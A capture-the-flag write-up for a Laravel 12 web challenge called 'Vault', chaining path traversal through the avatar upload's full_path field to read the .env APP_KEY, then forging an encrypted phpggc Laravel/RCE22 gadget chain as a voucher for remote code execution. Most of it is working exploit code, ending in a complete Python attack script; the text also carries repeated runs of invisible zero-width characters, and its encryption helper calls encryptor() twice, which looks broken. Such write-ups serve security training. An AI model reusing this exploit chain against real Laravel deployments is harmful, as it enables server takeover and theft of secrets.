← Back to Writeups
CUSTOMMediumWeb

Vault

XESXOR9/2/20265 min read
#web#custom#medium#app_key_extraction#laravel_decrypt_deserializatio#lfi_via_full_path#phpggc_gadget_chain

Vault

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: app_key_extraction, laravel_decrypt_deserialization, lfi_via_full_path, phpggc_gadget_chain

Summary

Walkthrough of the CUSTOM Web Vault. Task: Laravel app with avatar upload using $_FILES['full_path'] (LFI) and voucher redeem using decrypt() (deserialization). Solution: Chain LFI to extract APP_KEY, generate phpggc gadget chain, encryp

Description

Space Vault v1.0 handles all your intergalactic monetary needs!

This challenge uses an instancer. To spawn a container, run /start in the #vault-instancer channel on the Discord server.

Laravel 12 web application with avatar upload and voucher system. Goal: find and read the flag file with randomized name.

Analysis

Vulnerability 1: Local File Inclusion (LFI)

In AccountController.php, the avatar upload uses PHP 8.1+ $_FILES['avatar']['full_path'] without sanitization: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
public function updateAvatar(Request $request)
{
    $name = $_FILES['avatar']['full_path'];  // User controlled!
    $path = "/var/www/storage/app/public/avatars/$name";
    $request->file('avatar')->storeAs('avatars', basename($name), 'public');

    $user->avatar = $path;
    $user->save();
}

public function getAvatar(Request $request)
{
    $path = Auth::user()->avatar;
    return response()->file($path);  // Reads arbitrary files!
}

By uploading a file with filename containing path traversal (e.g., ../../../../../../etc/passwd), the full path becomes /var/www/storage/app/public/avatars/../../../../../../etc/passwd which resolves to /etc/passwd. The getAvatar() method then reads and returns this file. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 2: Laravel Deserialization RCE

In VouchersController.php, the voucher redeem endpoint uses Laravel's decrypt() function:

php
public function redeem(Request $request)
{
    $data = $request->validate(['voucher' => 'required|string']);
    
    try {
        $voucher = decrypt($data['voucher']);  // Calls unserialize() internally!
    } catch (DecryptException $e) {
        return back()->withErrors(['voucher' => 'Invalid voucher.']);
    }
    
    $user->balance += $voucher['amount'];
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Laravel's decrypt() function internally calls unserialize() on the decrypted data, making it vulnerable to PHP object injection if we know the APP_KEY.

Flag Location Challenge

The flag is placed at a randomized path in the entrypoint:

bash
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt

This creates a file like /a1b2c3d4e5f6a1b2c3d4e5f6-flag.txt - impossible to brute force (16^24 combinations).

Solution

Step 1: Extract APP_KEY via LFI

python
def lfi(path, depth=6):
    trav = "../" * depth + path
    session.post(
        f"{TARGET}/account/avatar",
        data={"_token": csrf_token},
        files={"avatar": (trav, PNG_DATA, "image/png")},
    )
    r = session.get(f"{TARGET}/avatar")
    return r.content
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Read .env file
env_content = lfi("var/www/.env")
# Extract: APP_KEY=base64:isP9Pg6L/K2bgMJwoUUie6iioVfYBTgtWqzf6EqPDo8=

Step 2: Generate Laravel RCE Gadget Chain

Using phpggc to generate Laravel/RCE22 gadget chain:

bash
./phpggc Laravel/RCE22 system "ls -la / > /var/www/storage/app/public/out.txt" -b

Step 3: Encrypt Payload with APP_KEY

python
def encrypt_laravel(data, key):
    """Encrypt data using Laravel's encryption format"""
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    
    iv = os.urandom(16)
    
    # PKCS7 padding
    block_size = 16
    padding_len = block_size - (len(data) % block_size)
    padded_data = data + bytes([padding_len] * padding_len)
    
    # AES-256-CBC encryption
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    encrypted = cipher.encryptor().update(padded_data) + cipher.encryptor().finalize()
    
    # Laravel format: base64(json({iv, value, mac}))
    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(encrypted).decode()
    mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
    
    payload = {"iv": iv_b64, "value": value_b64, "mac": mac}
    return base64.b64encode(json.dumps(payload).encode()).decode()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Execute RCE and Find Flag

python
# Send malicious voucher
encrypted_voucher = encrypt_laravel(gadget_chain, app_key)
session.post(f"{TARGET}/vouchers/redeem", data={"_token": csrf, "voucher": encrypted_voucher})

# Read command output via LFI
output = lfi("var/www/storage/app/public/out.txt")
# Output contains: a1b2c3d4e5f6a1b2c3d4e5f6-flag.txt

# Read flag via LFI
flag = lfi("a1b2c3d4e5f6a1b2c3d4e5f6-flag.txt")

Full Exploit

python
#!/usr/bin/env python3
"""Laravel Deserialization RCE via Voucher Redeem"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests
import re
import struct
import zlib
import time
import base64
import subprocess
import os
import json
import hmac
import hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

TARGET = os.environ.get("TARGET", "https://instance.tamuctf.com")
session = requests.Session()
session.verify = False

def png():
    """Generate minimal valid PNG"""
    sig = b"\x89PNG\r\n\x1a\n"
    ihdr = struct.pack(">I", 13) + b"IHDR" + struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0)
    ihdr += struct.pack(">I", zlib.crc32(ihdr[4:]) & 0xFFFFFFFF)
    idat_data = zlib.compress(b"\x00\xff\x00\x00")
    idat = struct.pack(">I", len(idat_data)) + b"IDAT" + idat_data
    idat += struct.pack(">I", zlib.crc32(idat[4:]) & 0xFFFFFFFF)
    iend = struct.pack(">I", 0) + b"IEND" + struct.pack(">I", zlib.crc32(b"IEND") & 0xFFFFFFFF)
    return sig + ihdr + idat + iend
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PNG = png()

def csrf(url):
    r = session.get(url, timeout=30)
    m = re.search(r'name="_token"\s+value="([^"]+)"', r.text)
    return m.group(1) if m else ""

def lfi(path, depth=6):
    trav = "../" * depth + path
    c = csrf(f"{TARGET}/account")
    session.post(f"{TARGET}/account/avatar", data={"_token": c}, 
                 files={"avatar": (trav, PNG, "image/png")})
    r = session.get(f"{TARGET}/avatar")
    return r.status_code, r.content

def encrypt_laravel(data, key):
    iv = os.urandom(16)
    block_size = 16
    padding_len = block_size - (len(data) % block_size)
    padded_data = data + bytes([padding_len] * padding_len)
    
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encrypted = cipher.encryptor().update(padded_data) + cipher.encryptor().finalize()
    
    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(encrypted).decode()
    mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
    
    return base64.b64encode(json.dumps({"iv": iv_b64, "value": value_b64, "mac": mac}).encode()).decode()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def generate_gadget(cmd):
    result = subprocess.run(["/tmp/phpggc/phpggc", "Laravel/RCE22", "system", cmd, "-b"],
                           capture_output=True, timeout=30)
    return base64.b64decode(result.stdout.strip()) if result.returncode == 0 else None

# Register and login
USERNAME = f"user{int(time.time())}"
c = csrf(f"{TARGET}/register")
session.post(f"{TARGET}/register", data={"_token": c, "username": USERNAME, 
             "password": "pass", "password2": "pass"})
c = csrf(f"{TARGET}/login")
session.post(f"{TARGET}/login", data={"_token": c, "username": USERNAME, "password": "pass"})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Read APP_KEY
st, ct = lfi("var/www/.env")
match = re.search(rb"APP_KEY=base64:([A-Za-z0-9+/=]+)", ct)
app_key = base64.b64decode(match.group(1))

# Step 2: Generate and encrypt gadget
gadget = generate_gadget("ls -la / > /var/www/storage/app/public/out.txt")
encrypted_voucher = encrypt_laravel(gadget, app_key)

# Step 3: Trigger RCE
c = csrf(f"{TARGET}/vouchers")
session.post(f"{TARGET}/vouchers/redeem", data={"_token": c, "voucher": encrypted_voucher})

# Step 4: Find and read flag
time.sleep(2)
st, ct = lfi("var/www/storage/app/public/out.txt")
flag_match = re.search(rb"([a-f0-9]{24})-flag\.txt", ct)
flag_name = flag_match.group(0).decode()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

st, flag = lfi(flag_name)
print(f"FLAG: {flag.decode()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering app_key_extraction, laravel_decrypt_deserialization, lfi_via_full_path, phpggc_gadget_chain was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-21 • CUSTOM • Vault • Difficulty: Medium